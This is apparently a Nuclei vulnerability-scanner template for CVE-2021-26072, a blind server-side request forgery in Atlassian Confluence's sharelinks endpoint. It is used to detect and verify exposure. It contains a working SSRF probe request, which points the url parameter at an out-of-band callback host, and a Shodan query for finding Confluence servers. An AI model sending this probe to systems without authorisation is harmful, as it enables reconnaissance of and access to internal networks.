id: CVE-2021-26072

info:
  name: Atlassian Confluence < 5.8.6 - Server-Side Request Forgery
  author: TechbrunchFR
  severity: medium
  description: |
    Confluence Server and Data Center before 5.8.6 contain a blind server-side request forgery caused by the WidgetConnector plugin, letting remote attackers manipulate internal network resources, exploit requires network access to the server.
  impact: |
    Authenticated attackers can manipulate internal network resources via SSRF, potentially accessing sensitive internal services or data.
  remediation: |
    Upgrade to Confluence Server version 5.8.6 or later.
  reference:
    - https://bitbucket.org/atlassian/confluence-business-blueprints/pull-requests/144/issue-60-conf-45342-ssrf-in-sharelinks
    - https://github.com/assetnote/blind-ssrf-chains#confluence
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26072
    - https://jira.atlassian.com/browse/CONFSERVER-61399
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-26072
    cwe-id: CWE-918
    epss-score: 0.38845
    epss-percentile: 0.98397
    cpe: cpe:2.3:a:atlassian:confluence_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atlassian
    product: confluence_server
    shodan-query: http.component:"Atlassian Confluence"
  tags: cve,cve2021,confluence,atlassian,ssrf,oast,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/rest/sharelinks/1.0/link?url=https://{{interactsh-url}}/'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "faviconURL"
          - "domain"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009e2611dfad2faebbdf824e21510927eca83f4673f50ecdfa6631d0e3acd52215022100fe9619a9039afece5cb230735a3a26159f5e3c9455963c73e0946fd36a88f456:922c64590222798bb761d5b6d8e72950